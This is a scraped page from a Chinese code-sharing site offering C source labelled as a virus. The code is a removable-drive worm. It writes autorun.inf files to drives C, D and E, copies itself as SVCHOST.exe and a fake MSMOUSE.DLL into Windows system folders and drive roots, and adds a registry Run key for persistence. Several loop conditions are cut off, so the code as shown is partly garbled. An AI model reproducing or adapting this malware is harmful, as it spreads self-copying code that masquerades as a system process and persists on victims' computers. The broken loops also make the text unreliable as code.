这是一个C病毒

源代码在线查看: c1.txt

软件大小: 2 K
上传用户: setixp
关键词: 病毒
下载地址: 免注册下载 普通下载 VIP

相关代码

				#define SVCHOST_NUM 6
				#include
				#include
				char *autorun={"[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打开\nshell\\1\\Command=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\Command=SVCHOST.exe\nshellexecute=SVCHOST.exe"};
				char *files_autorun[10]={"c:\\autorun.inf","d:\\autorun.inf","e:\\autorun.inf"};
				char *files_svchost[SVCHOST_NUM+1]={"c:\\windows\\system\\MSMOUSE.DLL",
				"c:\\windows\\system\\SVCHOST.exe","c:\\windows\\SVCHOST.exe",
				"c:\\SVCHOST.exe","d:\\SVCHOST.exe","e:\\SVCHOST.exe","SVCHOST.exe"};
				char *regadd="reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f";
				
				int copy(char *infile,char *outfile)
				{
				    FILE *input,*output;
				    char temp;
				    if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,"rb"))!=NULL) && ((output=fopen
				
				(outfile,"wb"))!=NULL))
				    {
				      while(!feof(input))
				      {
				        fread(&temp,1,1,input);
				        fwrite(&temp,1,1,output);
				      }
				      fclose(input);
				      fclose(output);
				      return 0;
				    }
				    else return 1;
				}
				int main(void)
				{
				    FILE *input,*output;
				    int i,k;
				    for(i=0;i				    {
				      output=fopen(files_autorun[i],"w");
				      fprintf(output,"%s",autorun);
				      fclose(output);
				    }
				    for(i=0;i				    {
				      if((input=fopen(files_svchost[i],"rb"))!=NULL)
				      {
				        fclose(input);
				        for(k=0;k				        {
				          copy(files_svchost[i],files_svchost[k]);
				        }
				        i=SVCHOST_NUM+1;
				      }
				    }
				    system(regadd);
				    return 0;
				}
							

相关资源